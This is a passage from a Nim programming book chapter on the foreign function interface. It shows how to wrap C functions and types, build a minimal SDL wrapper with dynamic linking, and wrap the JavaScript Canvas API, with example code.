dynamically linked applications. It’s important to be aware of the dynamically linked libraries that your application depends on, because without those libraries, it won’t run. Nim compiler C/C++/Obj C FFI JavaScript FFI printf() std::srand [ NSUserNotification new] getElementById() new WebSocket() WebGLRenderingContext Figure 8.1 Using the Nim FFI, you can take advantage of services in other languages. Nim offers two versions of the FFI: one for C, C++, and Objective-C; and a second one for JavaScript. Both can’t be used in the same application. Licensed to <null> 228 CHAPTER 8 Interfacing with other languages With these differences in mind, let’s look at the process of creating wrappers in Nim. 8.1.2 Wrapping C procedures In this section, we’ll wrap a widely used and fairly simple C procedure: printf. In C, the printf procedure is declared as follows: int printf(const char *format, ...); What you see here is the procedure prototype of printf. A prototype specifies the pro- cedure’s name and type signature but omits its implementation. When wrapping procedures, the implementation isn’t important; all that matters is the procedure prototype. If you’re not familiar with this procedure, you’ll find out what it does later in this section. In order to wrap C procedures, you must have a good understanding of these pro- cedure prototypes. Let’s look at what the previous procedure prototype tells us about printf. Going from left to right, the first word specifies the procedure’s return type, in this case an int. The second specifies the procedure name, which is printf. What follows is the list of parameters the procedure takes, in this case a format parameter of type const char * and a variable number of arguments signified by the ellipsis. Static linking Dynamic linking handshake() encrypt() OpenSSL CreateWindow() RenderClear() SDL ./app handshake() encrypt() OpenSSL CreateWindow() RenderClear() SDL ./app Application executed Find libraries /usr/lib/libsdl.so /usr/lib/libssl.so Libraries found Load libraries Libraries missing Could not load: libssl.so Application executed When a library can’t be found, the application fails with an error. When the libraries are loaded, the application can start its execution. The libraries are embedded in the application binary and so are loaded into memory before it’s executed. Libraries need to be found and loaded before the application can start. Figure 8.2 Static vs. dynamic linking Licensed to <null> 229 Nim’s foreign function interface Table 8.1 summarizes the information defined by the printf prototype. This prototype has two special features:  The const char * type represents a pointer to an immutable character.  The function takes a variable number of arguments. In many cases, the const char * type represents a string, as it does here. In C, there’s no string type; instead, a pointer that points to the start of an array of charac- ters is used. When wrapping a procedure, you need to look at each type and find a Nim equiva- lent. The printf prototype has two argument types: int and const char *. Nim defines an equivalent type for both, cint and cstring, respectively. The c in those types doesn’t represent the C programming language but instead stands for compatible; the cstring type is therefore a compatible string type. This is because C isn’t the only language supported by Nim’s FFI. The cstring type is used as a native JavaScript string as well. These compatible types are defined in the implicitly imported system module, where you’ll find a lot of other similar types. Here are some examples:  cstring  cint, cuint  pointer  clong, clonglong, culong, culonglong  cchar, cschar, cuchar  cshort, cushort  cint  csize  cfloat  cdouble, clongdouble  cstringArray Let’s put all this together and create the wrapper procedure. Figure 8.3 shows a wrapped printf procedure. The following code shows how the procedure can be invoked: proc printf(format: cstring): cint {.importc, varargs, header: "stdio.h".} discard printf("My name is %s and I am %d years old!\n", "Ben", 30) Table 8.1 Summary of the printf prototype Return type Name First parameter type First parameter name Second parameter int printf const char * format Variable number of arguments Licensed to <null> 230 CHAPTER 8 Interfacing with other languages Save the preceding code as ffi.nim. Then compile and run it with nim c -r ffi.nim. You should see the following output: My name is Ben and I am 30 years old! The printf procedure takes a string constant, format, that provides a description of the output. It specifies the relative location of the arguments to printf in the format string, as well as the type of output that this procedure should produce. The parame- ters that follow specify what each format specifier in the format string should be replaced with. The procedure then returns a count of the printed characters. One thing you might immediately notice is the discard keyword. Nim requires return values that aren’t used to be explicitly discarded with the discard keyword. This is useful when you’re working with procedures that return error codes or other important pieces of information, where ignoring their values may lead to issues. In the case of printf, the value can be safely discarded implicitly. The {.discardable.} pragma can be used for this purpose: proc printf(format: cstring): cint {.importc, varargs, header: "stdio.h", discardable.} printf("My name is %s and I am %d years old!\n", "Ben", 30) What really makes this procedure work is the importc and header pragmas. The header pragma specifies the header file that contains the imported procedure. The importc pragma asks the Nim compiler to import the printf procedure from C. The name that’s imported is taken from the procedure name, but it can be changed by specifying a dif- ferent name as an argument to the importc pragma, like so: proc displayFormatted(format: cstring): cint {.importc: "printf", varargs, header: "stdio.h", discardable.} displayFormatted("My name is %s and I am %d years old!\n", "Ben", 30) That’s pretty much all there is to it. The printf procedure now wraps the printf pro- cedure defined in the C standard library. You can even export it and use it from other modules. Maps to a const char* Maps to C’s int Allows proc to take a variable number of arguments Standard procedure declaration Imports printf from C Note the lack of = here because C provides the implementation Specifies where printf is defined. Figure 8.3 printf wrapped in Nim Licensed to <null> 231 Nim’s foreign function interface 8.1.3 Type compatibility You may wonder why the cstring and cint types need to be used in the printf proce- dure. Why can’t you use string and int? Let’s try it and see what happens. Modify your ffi.nim file so that the printf procedure returns an int type and takes a string type as the first argument. Then, recompile and run the program. The program will likely show no output. This underlines the unfortunate danger that comes with using the FFI. In this case, the procedure call does nothing, or at least it appears that way. In other cases, your program may crash. The compiler trusts you to specify the types correctly, because it has no way of inferring them. Because the cstring type was changed to the string type, your program now passes a Nim string object to the C printf procedure. C expects to receive a const char* type, and it always assumes that it receives one. Receiving the wrong type can lead to all sorts of issues, one of the major ones being memory corruption. Nim’s string type isn’t as simple as C’s, but it is similar. A Nim string is an object that contains two fields: the length of the string and a pointer to an array of chars. This is why a Nim string can be easily converted to a const char*. In fact, because this conversion is so easy, it’s done implicitly for you, which is why, even when you pass a string to printf, which expects a cstring, the example compiles. CONVERSION FROM CSTRING TO STRING A conversion in the other direction, from a cstring to a string, is not implicit because it has some overhead. That’s why you must do it explicitly using a type conversion or the $ operator. As for the cint type, it’s very similar to the int type. As you’ll see in the Nim docu- mentation, it’s actually just an alias for int32: http://nim-lang.org/docs/system .html#cint. The difference between the int type and the int32 type is that the for- mer’s bit width depends on the current architecture, whereas the bit width of the lat- ter type is always 32 bits. The system module defines many more compatibility types, many of which are inspired by C. But there will come a time when you need to import types defined in C as well. The next section will show you how that can be done. 8.1.4 Wrapping C types The vast majority of the work involved in interfacing with C libraries involves wrap- ping procedures. Second to that is wrapping types, which we’ll look at now. In the previous section, I showed you how to wrap the printf procedure. In this sec- tion, you’ll see how to wrap the time and localtime procedures, which allow you to retrieve the current system time in seconds and to convert that time into calendar time, respectively. These procedures return two custom types that need to be wrapped first. Let’s start by looking at the time procedure, which returns the number of seconds since the UNIX epoch (Thursday, 1 January 1970). You can look up its prototype online. For example, C++ Reference (http://en.cppreference.com/w/c/chrono/time) specifies that its prototype looks like this: time_t time( time_t *arg ); Licensed to <null> 232 CHAPTER 8 Interfacing with other languages Further research into the type of time_t indicates that it’s a signed integer.1 That’s all you need to know in order to declare this procedure in Nim. The following listing shows this declaration. type CTime = int64 proc time(arg: ptr CTime): CTime {.importc, header: "<time.h>".} In this case, you wrap the time_t type yourself. The procedure declaration has an interesting new characteristic. It uses the ptr keyword to emulate the time_t * type, which is a pointer to a time_t type. To convert the result of time into the current hour and minute, you’ll need to wrap the localtime procedure and call it. Again, the specification of the prototype is available online. The C++ Reference (http://en.cppreference.com/w/c/chrono/localtime) specifies that the prototype looks like this: struct tm *localtime( const time_t *time ); The localtime procedure takes a pointer to a time_t value and returns a pointer to a struct tm value. A struct in Nim is equivalent to an object. Unfortunately, there’s no way to tell from the return type alone whether the struct that the localtime returns has been allocated on the stack or on the heap. Whenever a C procedure returns a pointer to a data structure, it’s important to investigate whether that pointer needs to be manually deallocated by your code. The documentation for this procedure states that the return value is a “pointer to a static internal tm object.” This means that the object has a static storage duration and so doesn’t need to be deallocated manually. Every good library will state the storage duration of an object in its documentation. When wrapping code, you’ll undoubtedly run into a procedure that returns an object with a dynamic storage duration. In that case, the procedure will allocate a new object every time it’s called, and it’s your job to deallocate it when you no longer need it. DEALLOCATING C OBJECTS The way in which objects created by a C library can be deallocated depends entirely on the C library. A free function will usually be offered for this purpose, and all you’ll need to do is wrap it and call it. The struct tm type is much more complex than the time_t type. The documentation available in the C++ Reference (http://en.cppreference.com/w/c/chrono/tm) shows 1 The type of time_t is described in this Stack Overflow answer: http://stackoverflow.com/a/471287/492186. Listing 8.1 Wrapping time The CTime type is the wrapped version of time_t, defined as a simple alias for a 64-bit signed integer. The time C procedure is defined in the <time.h> header file. To import it, the header pragma is necessary. Licensed to <null> 233 Nim’s foreign function interface that it contains nine integer fields. The definition of this type in C would look some- thing like this: struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; }; Wrapping this type is fairly simple, although a bit mundane. Fortunately, you don’t have to wrap the full type unless you need to access all the fields. For now, let’s just wrap the tm_min and tm_hour fields. The following listing shows how you can wrap the tm type together with the two fields. type TM {.importc: "struct tm", header: "<time.h>".} = object tm_min: cint tm_hour: cint You can then wrap the localtime procedure and use it together with the time proce- dure as follows. type CTime = int64 proc time(arg: ptr CTime): CTime {.importc, header: "<time.h>".} type TM {.importc: "struct tm", header: "<time.h>".} = object tm_min: cint tm_hour: cint proc localtime(time: ptr CTime): ptr TM {.importc, header: "<time.h>".} var seconds = time(nil) let tm = localtime(addr seconds) echo(tm.tm_hour, ":", tm.tm_min) Listing 8.2 Wrapping struct tm Listing 8.3 A complete time and localtime wrapper The struct keyword can’t be omitted in the argument to the pragma. The two fields are defined as they would be for any Nim data type. The cint type is used because it’s compatible with C. The localtime procedure takes a "time_t *" and returns a "struct tm *", both of which are pointers. That is why the ptr keyword is used. Assigns the result of the time call to a new seconds variable. The time procedure can also optionally store the return value in the specified argument; nil is passed here, as it’s not needed. Passes the address of the seconds variable to the localtime procedure Displays the current time Licensed to <null> 234 CHAPTER 8 Interfacing with other languages Save this code as ffi2.nim, and then compile and run it. You should see the current time displayed on your screen after execution, such as 18:57. The main takeaway from the example in listing 8.3 is that wrapping a type essen- tially involves copying its structure into a Nim type definition. It’s important to remember that the field names have to match those of the C type. You can specify the name of each field in an importc pragma if you wish to rename them. Figure 8.4 demonstrates this. Another interesting aspect of wrapping the localtime procedure is the need to pass a pointer to it. You need to account for this in your wrapper. The addr keyword returns a pointer to the value specified, and that value must be mutable, which is why the return value of time is assigned to a new seconds variable in listing 8.3. Writing localtime(addr time(nil)) wouldn’t work because the return value isn’t stored any- where permanent yet. You should now have a pretty good idea of how C types can be wrapped in Nim. It’s time to wrap something a little more ambitious: an external library. 8.2 Wrapping an external C library So far, I’ve shown you how to wrap some very simple procedures that are part of the C standard library. Most of these procedures have already been wrapped to some extent by the Nim standard library and are exposed via modules such as times. Wrapping an external library is slightly different. In this section you’ll learn about these differences as you wrap a small bit of the SDL library. Simple DirectMedia Layer, or SDL, is a cross-platform multimedia library. It’s one of the most widely used libraries for writing computer games and other multimedia applications. SDL manages video, audio, input devices, and much more. Some practi- cal things that you can use it for are drawing 2D graphics on the screen or playing sound effects. I’ll show you how to draw 2D graphics. By the end of this section, you’ll produce an application that displays the window shown in figure 8.5. SDL WRAPPER The wrapper shown here will be very basic. You’ll find a full SDL wrapper that’s already been created by the Nim community here: https://github.com/nim-lang/sdl2. tm_min: cint type TM {.importc: "struct tm", ...} = object } struct tm { int tm_min, int tm_hour, ... min: cint min {.importc: "tm_min".}: cint Nim C Figure 8.4 The mapping between fields in a wrapped type and a C struct Licensed to <null> 235 Wrapping an external C library 8.2.1 Downloading the library Before you begin writing the wrapper for the SDL library, you should download it. For this chapter’s example, you’ll only need SDL’s runtime binaries, which you can down- load here: www.libsdl.org/download-2.0.php#source. 8.2.2 Creating a wrapper for the SDL library A library, or package, wrapper consists of one or more modules that contain wrapped procedures and type definitions. The wrapper modules typically mirror the contents of C header files, which contain multiple declarations of procedure prototypes and types. But they may also mirror other things, such as the contents of JavaScript API ref- erence documentation. For large libraries like SDL, these header files are very large, containing thousands of procedure prototypes and hundreds of types. The good news is that you don’t need to wrap it all completely in order to use the library. A couple of procedures and types will do. This means you can wrap libraries on demand instead of spending days wrap- ping the full library, including procedures that you’re never going to use. You can just wrap the procedures that you need. AUTOMATIC WRAPPING An alternative means of wrapping libraries is to use a tool such as c2nim. This tool takes a C or C++ header file as input and con- verts it into a wrapper. For more information about c2nim, take a look at its documentation: http://nim-lang.org/docs/c2nim.html. Figure 8.5 The application you’ll produce in this section Licensed to <null> 236 CHAPTER 8 Interfacing with other languages As in the previous section, you can go online to look up the definition of the proce- dure prototypes that you’re wrapping. Be sure to consult the project’s official docu- mentation and ensure that it has been written for the version of the library that you’re using. Alternatively, you can look up the desired procedure or type inside the library’s header files. First, though, you need to figure out what needs to be wrapped. The easiest way to figure that out is to look for examples in C, showing how the library in question can be used to develop a program that performs your desired actions. In this section, your objective is to create an application that shows a window of a specified color with the letter N drawn in the middle, as shown in figure 8.5. The SDL library can do a lot more than this, but in the interest of showing you how to wrap it, we’ll focus on this simple example. With that in mind, let’s start. The wrapper itself will be a single module called sdl. Before moving on to the next section, create this module by creating a new file called sdl.nim. 8.2.3 Dynamic linking Earlier in this chapter, I explained the differences between static and dynamic linking. The procedures you wrapped in the previous section are part of the C standard library, and as such, the linking process was automatically chosen for you. The process by which the C standard library is linked depends on your OS and C compiler. When it comes to linking with external C libraries, dynamic linking is recom- mended. This process involves some trivial initial setup that we’ll look at now. Whenever you instruct the Nim compiler to dynamically link with a C library, you must supply it with the filename of that library. The filenames depend entirely on the library and the OS that the library has been built for. Table 8.2 shows the filenames of the SDL libraries for Windows, Linux, and Mac OS. These files are called shared library files because in many cases, especially on UNIX-like OSs, they’re shared among multiple applications. The SDL wrapper needs to know these filenames, so let’s define them in the sdl module you just created. The following listing shows how to define these for each OS. Add this code to your sdl module. when defined(Windows): const libName* = "SDL2.dll" elif defined(Linux): Table 8.2 The filenames of the SDL library Windows Linux Mac OS SDL2.dll libSDL2.so libSDL2.dylib Listing 8.4 Defining the shared library filename conditionally Licensed to <null> 237 Wrapping an external C library const libName* = "libSDL2.so" elif defined(MacOsX): const libName* = "libSDL2.dylib" This code is fairly simple. Only one constant, libName, is defined. Its name remains the same, but its value changes depending on the OS. This allows the wrapper to work on the three major OSs. That’s all the setup that’s required. Strictly speaking, it’s not absolutely necessary to create these constants, but they will enable you to easily change these filenames at a later time. Now, recall the previous section, where I showed you the header and importc prag- mas. These were used to import C procedures from a specific header in the C standard library. In order to instruct the compiler to dynamically link a procedure, you need to use a new pragma called dynlib to import C procedures from a shared library: proc init*(flags: uint32): cint {.importc: "SDL_Init", dynlib: libName.} The dynlib pragma takes one argument: the filename of the shared library where the imported procedure is defined. Every time your application starts, it will load a shared library for each unique filename specified by this pragma. If it can’t find the shared library, or the wrapped procedure doesn’t exist in the shared library, the application will display an error and terminate. The dynlib pragma also supports a simple versioning scheme. For example, if you’d like to load either libSDL2-2.0.1.so or libSDL2.so, you can specify "libSDL2(|-2.0.1).so" as the argument to dynlib. More information about the dynlib pragma is available in the Nim manual: http://nim-lang.org/docs/manual .html#foreign-function-interface-dynlib-pragma-for-import. Now, you’re ready to start wrapping. 8.2.4 Wrapping the types Before you can successfully wrap the required procedures, you first need to define four types. Thankfully, wrapping their internals isn’t necessary. The types will simply act as stubs to identify some objects. The following listing shows how to define these types. type SdlWindow = object SdlWindowPtr* = ptr SdlWindow SdlRenderer = object SdlRendererPtr* = ptr SdlRenderer Listing 8.5 Wrapping the four necessary types Defines an object stub. This object likely contains fields, but you don’t need to access them in your application, so you can omit their definitions. Many of the procedures in the SDL library work on pointers to objects, so it’s convenient to give this type a name and export it instead of writing “ptr TheType” everywhere. Licensed to <null> 238 CHAPTER 8 Interfacing with other languages The type definitions are fairly simple. The SdlWindow type will represent a single on- screen SDL window, and the SdlRenderer will represent an object used for rendering onto the SDL window. The pointer types are defined for convenience. They’re exported because the SDL procedures that you’ll wrap soon return them. Let’s look at these procedures now. 8.2.5 Wrapping the procedures Only a handful of procedures need to be wrapped in order to show a colored window on the screen using SDL. The following listing shows the C prototypes that define those procedures. int SDL_Init(Uint32 flags) int SDL_CreateWindowAndRenderer(int width, int height, Uint32 window_flags, SDL_Window** window, SDL_Renderer** renderer) int SDL_PollEvent(SDL_Event* event) int SDL_SetRenderDrawColor(SDL_Renderer* renderer, Uint8 r, Uint8 g, Uint8 b, Uint8 a) void SDL_RenderPresent(SDL_Renderer* renderer) int SDL_RenderClear(SDL_Renderer* renderer) int SDL_RenderDrawLines(SDL_Renderer* renderer, const SDL_Point* points, int count) You’ve already seen how to wrap the SDL_Init procedure: proc init*(flags: uint32): cint {.importc: "SDL_Init", dynlib: libName.} The wrapper for this procedure is fairly straightforward. The Uint32 and int types in the prototype map to the uint32 and cint Nim types, respectively. Notice how the procedure was renamed to init; this was done because the SDL_ prefixes are redun- dant in Nim. Now consider the rest of the procedures. Each wrapped procedure will need to specify the same dynlib pragma, but you can remove this repetition with another pragma called the push pragma. The push pragma allows you to apply a specified pragma to the procedures defined below it, until a corresponding pop pragma is used. Listing 8.6 The SDL C prototypes that will be wrapped in this section Initializes the SDL library Creates an SDL window and rendering context associated with that window Checks for input events Sets the current draw color on the specified renderer Updates the screen with any rendering that was performed Clears the specified renderer with the drawing color Draws a series of connected lines Licensed to <null> 239 Wrapping an external C library The following listing shows how the rest of the procedures can be wrapped with the help of the push pragma. {.push dynlib: libName.} proc init*(flags: uint32): cint {.importc: "SDL_Init".} proc createWindowAndRenderer*(width, height: cint, window_flags: cuint, window: var SdlWindowPtr, renderer: var SdlRendererPtr): cint {.importc: "SDL_CreateWindowAndRenderer".} proc pollEvent*(event: pointer): cint {.importc: "SDL_PollEvent".} proc setDrawColor*(renderer: SdlRendererPtr, r, g, b, a: uint8): cint {.importc: "SDL_SetRenderDrawColor", discardable.} proc present*(renderer: SdlRendererPtr) {.importc: "SDL_RenderPresent".} proc clear*(renderer: SdlRendererPtr) {.importc: "SDL_RenderClear".} proc drawLines*(renderer: SdlRendererPtr, points: ptr tuple[x, y: cint], count: cint): cint {.importc: "SDL_RenderDrawLines", discardable.} {.pop.} Most of the code here is fairly standard. The createWindowAndRenderer procedure’s arguments include one pointer to a pointer to an SdlWindow and another pointer to a pointer to an SdlRenderer, written as SdlWindow** and SdlRenderer**, respectively. Pointers to SdlWindow and SdlRenderer were already defined in the previous subsec- tion under the names SdlWindowPtr and SdlRendererPtr, respectively, so you can define the types of those arguments as ptr SdlWindowPtr and ptr SdlRendererPtr. This will work well, but using var in place of ptr is also appropriate in this case. You may recall var T being used in chapter 6, where it stored a result in a variable that was passed as a parameter to a procedure. The exact same thing is being done by the createWindowAndRenderer procedure. Nim implements these var parameters using pointers, so defining that argument’s type using var is perfectly valid. The advantage of doing so is that you no longer need to use addr, and Nim also prevents you from passing nil for that argument. For the pollEvent procedure, the argument type was defined as pointer. This type is equivalent to a void* type in C, essentially a pointer to any type. This was done because it avoids the need to wrap the SdlEvent type. You may run into C libraries that declare procedures accepting a void* type, in which case you can use the pointer Listing 8.7 Wrapping the procedures in the sdl module This ensures that each proc gets the dynlib pragma. The var keyword is used in place of a ptr. In Nim, these end up generating equivalent C code. The pointer type in Nim is equivalent to a void *, which is a pointer of any type. The discardable pragma is used here to implicitly discard the return value. The points parameter is a pointer to the beginning of an array of tuples. This stops the propagation of the dynlib pragma. Licensed to <null> 240 CHAPTER 8 Interfacing with other languages type. In practice, however, it’s better to use a ptr T type for improved type safety. But you can only do so if you know that the procedure you’re wrapping will only ever accept a specific pointer type. Lastly, the drawLines procedure is the most complicated, as it accepts an array of points to draw as lines. In C, an array of elements is represented by a pointer to the first element in the array and the number of variables in that array. In the case of the drawLines procedure, each element in the points array is an SDL_Point type, and it’s defined as a simple C struct containing two integers that represent the x and y coordi- nates of the point. In Nim, this simple struct can be represented using a tuple. Add the contents of listing 8.7 to your sdl module. It’s time to use it to write the application. 8.2.6 Using the SDL wrapper You can now use the wrapper you’ve just written. First, create an sdl_test.nim file beside your wrapper, and then import the wrapper by writing import sdl at the top of the file. Before the library can be used, you’ll have to initialize it using the init procedure. The init procedure expects to receive a flags argument that specifies which SDL subsystems should be initialized. For the purposes of this application, you only need to initialize the video subsystem. To do this, you’ll need to define a constant for the SDL_INIT_VIDEO flag, like this: const INIT_VIDEO* = 0x00000020 The value of this constant needs to be defined in the Nim source file because it’s not available in the shared library. C header files typically define such constants using a #define that isn’t compiled into any shared libraries. Add this constant into your sdl module. Then, you’ll finally be ready to use the sdl wrapper to implement a simple application. The following listing shows the code needed to do so. import os import sdl if sdl.init(INIT_VIDEO) == -1: quit("Couldn't initialise SDL") var window: SdlWindowPtr var renderer: SdlRendererPtr if createWindowAndRenderer(640, 480, 0, window, renderer) == -1: quit("Couldn't create a window or renderer") Listing 8.8 An SDL application implemented using the sdl wrapper Initializes the SDL video subsystem Quits with an error if the initialization fails Creates a window and renderer to draw things on Quits with an error if the creation of the window or renderer fails Licensed to <null> 241 Wrapping an external C library discard pollEvent(nil) renderer.setDrawColor 29, 64, 153, 255 renderer.clear renderer.present sleep(5000) Compile and run the sdl_test.nim file. You should see a window with a blue background, as shown in figure 8.6 (to see color versions of the figures, please refer to the electronic version of this book). A blank SDL window is a great achievement, but it isn’t a very excit- ing one. Let’s use the drawLines pro- cedure to draw the letter N in the middle of the screen. The following code shows how this can be done: renderer.setDrawColor 255, 255, 255, 255 var points = [ (260'i32, 320'i32), (260'i32, 110'i32), (360'i32, 320'i32), (360'i32, 110'i32) ] renderer.drawLines(addr points[0], points.len.cint) Add this code just below the renderer.clear statement in the sdl_test.nim file. Then, compile and run the file. You should see a window with a blue background and the let- ter N, as shown in figure 8.7. In the preceding code, the drawLines call is the important one. The address of the first element in the points array is passed to this procedure together with the length of the points array. The drawLines procedure then has all the information it needs to read all the points in the array. It’s important to note that this call isn’t memory safe; if the points count is too high, the drawLines procedure will attempt to read memory This is where you’d handle any pending input events. For this application, it’s only called so that the window initializes properly. Sets the drawing color to the specified red, green, blue, and alpha values Clears the screen with the specified drawing color Shows the pixels drawn on the renderer Waits for 5 seconds before terminating the application Figure 8.6 The result of running listing 8.8 Changes the draw color to white Defines an array of points that define the coordinates to draw an N. Each coordinate must be an int32 because that’s what a cint is. Draws the lines defined by the points array Licensed to <null> 242 CHAPTER 8 Interfacing with other languages that’s adjacent to the array. This is known as a buffer overread and can result in serious issues because there’s no way of knowing what the adjacent memory contains.2 That’s how you wrap an external library using Nim. Of course, there’s plenty of room for improvement. Ideally, a module that provides a higher-level API should always be written on top of a wrapper; that way, a much more intuitive interface can be used for writing applications. Currently, the biggest improvement that could be made to the sdl module is to add exceptions. Both init and createWindowAndRenderer should raise an exception when an error occurs, instead of requiring the user to check the return value manually. The last two sections have given you an overview of the C FFI. Nim also supports interfacing with other C-like languages, including C++ and Objective-C. Those two back- ends are beyond the scope of this book, but the concepts you’ve learned so far should give you a good starting point. For further information about these backends, take a look at the Nim manual: http://nim-lang.org/docs/manual.html#implementation- specific-pragmas-importcpp-pragma. Next, we’ll look at how to write JavaScript wrappers. 8.3 The JavaScript backend JavaScript is increasingly becoming known as the “assembly language of the web” because of the many new languages that target it. Languages that can be translated to JavaScript are desirable for various reasons. For example, they make it possible to 2 See the Wikipedia article for an explanation of buffer overreads: https://en.wikipedia.org/wiki/Buffer_over-read. Figure 8.7 The final sdl_test application with the letter N drawn Licensed to <null> 243 The JavaScript backend share code between client scripts that run in a web browser and applications that run on a server, reducing the need for code duplication. As an example, consider a chat application. The server manages connections and messages from multiple clients, and a client script allows users to connect to the server and send messages to it from their web browser. These messages must be understood by all the clients and the server, so it’s beneficial for the code that parses those mes- sages to be shared between the server and the client. If both the client and the server are written in Nim, sharing this code is trivial. Figure 8.8 shows how such a chat appli- cation could take advantage of Nim’s JavaScript backend. Of course, when writing JavaScript applications, you’ll eventually need to interface with the APIs exposed by the web browser as well as libraries that abstract those APIs. The process of wrapping JavaScript procedures and types is similar to what was described in the previous sections for the C backend, but there are some differences that are worth an explanation. This section will show you how to wrap the JavaScript procedures required to achieve the same result as in the previous section with the SDL library: filling the drawable surface with a blue color and drawing a list of lines to form the letter N. 8.3.1 Wrapping the canvas element The canvas element is part of HTML5, and it allows rendering of 2D shapes and bitmap images on an HTML web page. All major web browsers support it and expose it via a JavaScript API. Figure 8.8 How the same code is shared between two platforms Client Server Running in a web browser JavaScript Running on a server Binary protocol.nim The same module is reused for the client and the server. Licensed to <null> 244 CHAPTER 8 Interfacing with other languages Let’s look at an example of its usage. Assuming that an HTML page contains a <can- vas> element with an ID of canvas, and its size is 600 x 600, the code in the following listing will fill the canvas with the color blue and draw the letter N in the middle of it. var canvas = document.getElementById("canvas"); canvas.width = 600; canvas.height = 600; var ctx = canvas.getContext("2d"); ctx.fillStyle = "#1d4099"; ctx.fillRect(0, 0, 600, 600); ctx.strokeStyle = "#ffffff"; ctx.moveTo(250, 320); ctx.lineTo(250, 110); ctx.lineTo(350, 320); ctx.lineTo(350, 110); ctx.stroke(); The code is fairly self-explanatory. It starts by retrieving the canvas element from the DOM by ID. The canvas size is set, and a 2D drawing context is created. Lastly, the screen is filled with a blue color, the letter N is traced using the moveTo and lineTo procedures, and the letter is drawn using the stroke procedure. Wrapping the proce- dures used in this example shouldn’t take too much effort, so let’s begin. Create a new file called canvas.nim. This file will contain the procedure wrappers needed to use the Canvas API. The getElementById procedure is already wrapped by Nim; it’s a part of the DOM, so it’s available via the dom module. Unlike in C, in JavaScript there’s no such thing as a header file. The easiest way to find out how a JavaScript procedure is defined is to look at the documentation. The following list contains the documentation for the types and procedures that will be wrapped in this section:  CanvasRenderingContext2D type—https://developer.mozilla.org/en-US/docs/ Web/API/CanvasRenderingContext2D  canvas.getContext(contextType, contextAttributes); procedure—http://mng .bz/6kIp  void ctx.fillRect(x, y, width, height); procedure—http://mng.bz/xN3Y  void ctx.moveTo(x, y); procedure—http://mng.bz/A9Bk  void ctx.lineTo(x, y); procedure—http://mng.bz/t355  void ctx.stroke(); procedure—http://mng.bz/nv6C Because JavaScript is a dynamically typed programming language, procedure defini- tions don’t contain information about each argument’s type. You must look at the documentation, which more often than not tells you enough to figure out the under- lying type. The following listing shows how the CanvasRenderingContext2D type and the five procedures should be wrapped. Save the listing as canvas.nim. Listing 8.9 Using the Canvas API in JavaScript Licensed to <null> 245 The JavaScript backend import dom type CanvasRenderingContext* = ref object fillStyle* {.importc.}: cstring strokeStyle* {.importc.}: cstring {.push importcpp.} proc getContext*(canvasElement: Element, contextType: cstring): CanvasRenderingContext proc fillRect*(context: CanvasRenderingContext, x, y, width, height: int) proc moveTo*(context: CanvasRenderingContext, x, y: int) proc lineTo*(context: CanvasRenderingContext, x, y: int) proc stroke*(context: CanvasRenderingContext) This code is fairly short and to the point. You should be familiar with everything except the importcpp pragma. The name of this pragma is borrowed from the C++ backend. It instructs the compiler to generate JavaScript code that calls the specified procedure as if it were a member of the first argument’s object. Figure 8.9 demon- strates the difference between importc and importcpp for the JavaScript backend. Listing 8.10 Wrapping the Canvas API The dom module exports the Element type used in the getContext proc. All JavaScript objects have ref semantics; hence, the ref object definition. Each field must be explicitly imported using importc. Each procedure is given the importcpp pragma. The contextAttributes argument is intentionally omitted here. It’s an optional argument with a default value. Figure 8.9 The differences in JavaScript code produced with the importc and importcpp pragmas {.importc.} {.importcpp.} vs. proc getContext*(el: Element, typ: cstring): Ctx nim js file.nim element.getContext( "2D") getContext(element, "2D"); Function getContext is not defined. nim js file.nim element.getContext("2D") element.getContext("2D"); getContext is a member of element, so this works! JavaScript code after compilation Nim code before compilation when applied to the following definition: Licensed to <null> 246 CHAPTER 8 Interfacing with other languages There aren’t many other surprises, but one interesting aspect to note is that when you’re wrapping a data type in JavaScript, the wrapped type should be declared as a ref object. JavaScript objects have reference semantics and so should be wrapped as such. That’s all there is to it! Time to put this wrapper to use. 8.3.2 Using the Canvas wrapper Now that the wrapper is complete, you can write a little script that will make use of it, together with a small HTML page to execute it. Save the following listing as index.html beside your canvas.nim file. <!DOCTYPE html> <html> <head> <meta charset="utf-8"/> <title>Nim in Action - Chapter 8</title> <script type="text/javascript" src="canvas_test.js"></script> <style type="text/css"> canvas { border: 1px solid black; } </style> </head> <body onload="onLoad();" style="margin: 0; overflow: hidden;"> <canvas id="canvas"></canvas> </body> </html> The HTML is pretty bare bones. It’s got some small style adjustments to make the can- vas full screen, and it defines an onLoad procedure to be called when the <body> tag’s onLoad event fires. Save the next listing as canvas_test.nim beside your canvas.nim file. import canvas, dom proc onLoad() {.exportc.} = var canvas = document.getElementById("canvas").EmbedElement canvas.width = window.innerWidth canvas.height = window.innerHeight var ctx = canvas.getContext("2d") ctx.fillStyle = "#1d4099" ctx.fillRect(0, 0, window.innerWidth, window.innerHeight) Note how similar the code is to JavaScript. This code listing defines an onLoad proce- dure that’s then exported, which allows the browser to use it as an event callback. The exportc procedure is used to do this. It simply ensures that the generated JavaScript code contains an onLoad procedure. This pragma also works for the other backends. Listing 8.11 The index.html file Listing 8.12 The canvas_test.nim file Licensed to <null> 247 The JavaScript backend You may wonder what the purpose of the .EmbedElement type conversion is. The getElementById procedure returns an object of type Element, but this object doesn’t have width or height properties, so it must be converted to a more concrete type. In this case, it’s converted to the EmbedElement type, which allows the two width and height assignments. Compile this canvas_test module by running nim js -o:canvas_test.js canvas_ test.nim. You can then test it by opening the index.html file in your favorite browser. You should see something resembling figure 8.10. For now, this is just a blue screen. Let’s extend it to draw the letter N. Add the follow- ing code at the bottom of the onLoad procedure: ctx.strokeStyle = "#ffffff" let letterWidth = 100 let letterLeftPos = (window.innerWidth div 2) - (letterWidth div 2) ctx.moveTo(letterLeftPos, 320) ctx.lineTo(letterLeftPos, 110) ctx.lineTo(letterLeftPos + letterWidth, 320) ctx.lineTo(letterLeftPos + letterWidth, 110) ctx.stroke() In this case, the code calculates where the letter should be placed so that it’s in the middle of the screen. This is necessary because the canvas size depends on the size of the web browser window. In the SDL example, the SDL window was always the same size, so this calculation wasn’t needed. Recompile the canvas_test.nim file by running the same command again, and then refresh your browser. You should see something resembling figure 8.11. That’s all there is to it. You should now have a good basic understanding of how to wrap JavaScript and how to make use of Nim’s JavaScript backend. Figure 8.10 The canvas_test.nim script showing a blue screen in the web browser Sets the stroke color to white Creates a local letterWidth variable to store the desired letter width Calculates the top-left position where the letter should be placed Begins 